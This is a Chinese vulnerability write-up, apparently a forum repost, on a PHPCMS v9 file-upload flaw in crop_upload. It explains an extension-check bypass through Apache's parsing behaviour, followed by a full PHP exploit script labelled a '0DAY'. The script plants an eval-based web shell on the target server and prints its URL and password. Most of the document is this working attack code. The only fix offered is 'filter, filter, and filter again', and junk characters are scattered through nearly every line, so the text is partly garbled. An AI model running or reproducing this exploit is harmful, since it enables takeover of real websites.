漏洞类型: 文件上传导致任意代码执行
/ T {- {9 w5 h; H
7 g! `. I& A# ^, D5 `- ?简要描述:
& a4 ^5 e+ z" O, D4 W* T+ D6 V! v8 O5 ^* Z( c+ x6 x n
phpcms v9 getshell (apache)4 @/ p/ r. ]4 E5 u4 f8 g7 Q, c( ]
详细说明: ?1 B" P! e* d" [: w* b
8 t) ]/ i4 V. A9 P6 R
漏洞文件:phpcms\modules\attachment\attachments.php
# a1 R/ n6 J2 }+ W8 G
) M ?& M3 P$ H3 W- p' {public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
" P* O" e6 }+ I2 u后缀检测:phpcms\modules\attachment\functions\global.func.php
* n8 u$ d0 l/ L0 K n- c) x- O# _) \$ t) I
8 m- h5 R7 k# O" V7 D, Z- u$ a/ A
! C& ]2 b/ }- T% _. ffunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
& X7 ]- t: Z/ h- q8 | S! U" a% z) [6 f% t. [6 J5 w3 W0 u; q
关键函数:
' ~, K7 {4 o# O* }0 E& O4 W' C* Y4 g; g
% y) y% o1 r0 ?6 x' z$ P _# I u1 ~6 h8 x' S4 L/ S; r
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } / k) O0 l: T: f
: h: B. @, {0 t% S, p
Fileext函数是对文件后缀名的提取。
) u2 R; h1 z2 p根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php1 U1 `( i1 M5 h7 M4 B9 ^- c
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
) R* c. y, w* I3 J& V我们回到public function crop_upload() 函数中# @. M6 E0 [) Z! S1 p7 n
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();7 ] R# \9 u5 Q4 S) C
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
0 d% n9 K- w2 W7 L! R9 X% ^这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
" m) o' n1 T& Z0 O0 d, ^经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
+ o8 U7 Z- }6 x3 b J. f1 E最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 C r9 F2 O. [. Q( V3 ?6 _看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 x- S0 y2 `( [! X: }漏洞证明:6 |% I6 l. o7 h, k# I( x) [
e# v7 K6 x; l/ O: m8 Z* h
exp:% U( p5 {8 B& h, m- a
7 M/ g" f2 z5 y: F3 `<?php
9 X! v$ U4 Q9 q; l9 ~" {- ?error_reporting(E_ERROR);; c8 [7 W# T8 ~/ s
set_time_limit(0);) \+ o' @. `& f2 A$ N
$pass="ln";
% C# S% }; L3 {print_r('
- O9 {# h, X( R% F+---------------------------------------------------------------------------+/ l' [5 n9 {2 w0 E: @
PHPCms V9 GETSHELL 0DAY
# c- t$ F: J7 vcode by L.N.
& K$ A9 e% h8 l5 M8 ^
& j; v; D8 J0 z& n$ ?apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net9 H! g1 `. Z: u7 u
+---------------------------------------------------------------------------+: d7 F7 h/ |$ x& n
');7 _/ S% j) f: S+ @" D
if ($argc < 2) {
+ l8 Z# l6 U( ]; x S/ A$ ]# [. y* jprint_r('
- g* I4 Q( ~7 _1 e+ o) v9 z) j, k+---------------------------------------------------------------------------+0 n5 g: h9 ?# d3 r, r! L
Usage: php '.$argv[0].' url path
" R0 c6 J8 R& v+ U5 Y' e
2 m B# k0 Q. O- J1 k- g5 Z3 a+ ?. gExample:
+ O5 i" J2 S$ X0 L0 l# N1.php '.$argv[0].' lanu.sinaapp.com; ]% ^( N# R( i# m0 I8 O& T
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
1 `# m- W8 ]; h5 w0 m+---------------------------------------------------------------------------+
! ?6 e; i% H3 I2 g& g9 p');
( ~9 q1 r( a9 d6 w& Texit;# U: v" }* c! b* }* O0 B
}+ K+ C( V# Q0 k. Q
. [* P) j E; m& X$ b! N. @" f$url = $argv[1];
2 U, n% Y& f/ U& y$path = $argv[2];# f# v. c0 }, B
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';) a* q3 }! }2 b! y9 d1 J3 Q
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';% `" f5 J7 |8 X3 ~/ G
if($ret=Create_dir($url,$path))
) ]! g6 q6 p) q4 i N, r/ x{
h1 W8 p0 B# ^. W* r% z8 m3 R" E//echo $ret;
, g& y3 H7 o) W D, q- N$pattern = "|Server:[^,]+?|U";
+ E* j/ V6 z' t. r' M2 K2 Rpreg_match_all($pattern, $ret, $matches);
% q4 v/ Q7 D$ X+ L' N- H* Vif($matches[0][0])* J3 R8 r. A% v
{& J1 H9 Q% X- S$ E
if(strpos($matches[0][0],'Apache') == false)
3 M5 @. |4 I7 O* {" O0 F t{
% r6 } S. C/ i8 B- i$ g9 {; l0 Wecho "\n亲!此网站不是apache的网站。\n";exit;
; K& f; v- P/ y- i3 N}( H# W0 v+ d, V2 U+ N) g3 O3 n
}; o( P! e# H( f& y2 Z
$ret = GetShell($url,$phpshell,$path,$file);
0 }0 a* s( ?' k' o3 j+ }$pattern = "|http:\/\/[^,]+?\.,?|U";
3 m5 U1 v) m$ c$ dpreg_match_all($pattern, $ret, $matches);
/ p- R$ x! t; c/ A3 b, N! k1 m- I( [if($matches[0][0])
+ i% I, T2 w, S* K1 S- K# T3 j. x{: a& S$ \( H9 P2 M
echo "\n".'密码为: '.$pass."\n";
6 A, s6 M8 O/ s) O# D% T- B9 recho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ k1 ^$ s0 E! W: c, V}! F' w& w7 h- ^# k
else
- p5 Z& D: \0 {" h{
4 v. k+ i6 f5 s# B7 m$pattern = "|\/uploadfile\/[^,]+?\.,?|U";0 i( | M# w3 g
preg_match_all($pattern, $ret, $matches);3 i& y' c L' v S8 b: E5 F4 S
if($matches[0][0])
) E2 U N Z, ]9 b, [4 h" b{
- b; h" w0 m0 g/ O' q% Qecho "\n".'密码为: '.$pass."\n";; H" u% D' \7 r3 F8 K4 b
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
0 n+ p" n8 Q) u+ S/ e7 Q}0 v& B& N! G6 B5 H. N; U; W
else
( k& K/ n0 W* J{
6 g3 ^ v2 P& @& O% [echo "\r\n没得到!\n";exit;
3 _; U% e9 Y, K2 y$ k0 o2 y9 ~3 P} o9 X9 x. s- r( H3 Z4 D
}: o+ [+ n( u( G( M2 _- _1 o
}
; l6 P9 W0 Q: [ Q+ N* L5 k0 v+ A0 q' y; m$ b& k/ S- m9 @
function GetShell($url,$shell,$path,$js)
* O% i* G% p6 R8 Q6 \{. G, V; a; W6 M6 f3 A; }: |' ?* U
$content =$shell;
f6 i& s( G3 k$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";$ j" M- H h" N
$data .= "Host: ".$url."\r\n";& O0 S3 |4 X& j
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: I9 `0 V6 Q% B- X% G: N* G$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* s9 h$ R7 e/ H% [2 n# a6 o0 Z$ q, `$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";9 K$ r, p/ S) v1 @3 U
$data .= "Connection: close\r\n";+ e# ~. D! G6 B& \8 J, V* e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ D" _( a6 N: J X4 I: l. A
$data .= $content."\r\n";) y$ u, |, f3 m' v4 g, z- I# ]5 u
$ock=fsockopen($url,80);& U4 C5 ?: F e
if (!$ock)
( D8 ^' X/ A) ]' ]{- p! Y$ l& d( M; H6 J
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;# H3 R6 n0 H O( A
}- d7 N6 U9 a; ]1 C" y. Q- `6 R+ C& C
else) y p2 R' {7 q0 |" D% R
{
1 l) W1 A% n7 i6 xfwrite($ock,$data);/ J9 d- ~. {) M$ U* ?5 j6 U
$resp = '';% I& x; C& | l' V+ Q
while (!feof($ock))- S: ^* N7 p' Z
{
! e* p2 O. U1 }6 @$resp.=fread($ock, 1024);
- P8 t0 T+ E& f7 s# V& m% |}
4 \' s0 |8 b& O# ]5 V* W0 dreturn $resp;' C& y, C" X1 u$ ^7 ~( v p
}7 Q, l" v0 R; u, Y/ J& F Z# K
}
8 f- E6 R8 j/ O( |( E# y
+ U' x/ H& b% P J' ]) z4 l+ Lfunction Create_dir($url,$path='')
, M" G1 x! V; o! h' W# |1 L9 `7 P: k{
6 x: Y l; v# s7 g& a2 f$content ='I love you';
% U) w/ d& T$ f- x; o$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";; ]! r" f' p7 [, b, Z% W3 N* H
$data .= "Host: ".$url."\r\n";+ q4 x! G& D7 P/ J; m6 V9 _) Y4 G
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ U `9 t& L6 Y& p8 T) f' E
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; z7 H" o% \* F) ~& ?& n8 X# U$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
/ g: g5 @6 B( F2 [$data .= "Connection: close\r\n";
% G) n8 P# V4 r0 k. Y" m- {7 Y+ b, N$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 _& T; `& j& s- @" j. e( { Q
$data .= $content."\r\n";
) Z+ \+ L3 }" {; S$ock=fsockopen($url,80);1 K1 F/ ~2 ^& W: t. p
if (!$ock)
4 P! H- t& Y7 m1 s% F1 K* {{) Y6 i- u, O7 b( e1 @: |% a
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 |) J5 E# A3 C. r. @
}' i. \. f' u/ V2 N6 r
fwrite($ock,$data);9 D/ L( k/ Z+ I" P) w/ ?
$resp = '';
6 R) o/ W6 h" E: R. k$ Fwhile (!feof($ock))
! T/ _5 Q( | p& ^" k$ a, S' ?{) \2 s3 w [) w, x/ d
$resp.=fread($ock, 1024);9 V. S; S' X3 d
}& Q8 y* K! s( Z2 H3 E/ X) y; \
return $resp;
# Y2 ]! k6 s: b7 K4 h1 _" C2 |+ N}
( |! \8 ^, v% E& q?>
4 e) d" T9 R5 k9 P4 E , [' \" \# Q! M \( a9 T0 m7 q
修复方案:
- K* M. M. x5 J/ z' {3 e) h$ i3 F, J
6 q3 \. a1 a. R3 M8 _4 g7 W( @. @& O* G过滤过滤再过滤
4 }0 E4 W: J! N4 a1 C* V; U, y8 Z$ i8 J- u1 O6 G. p
|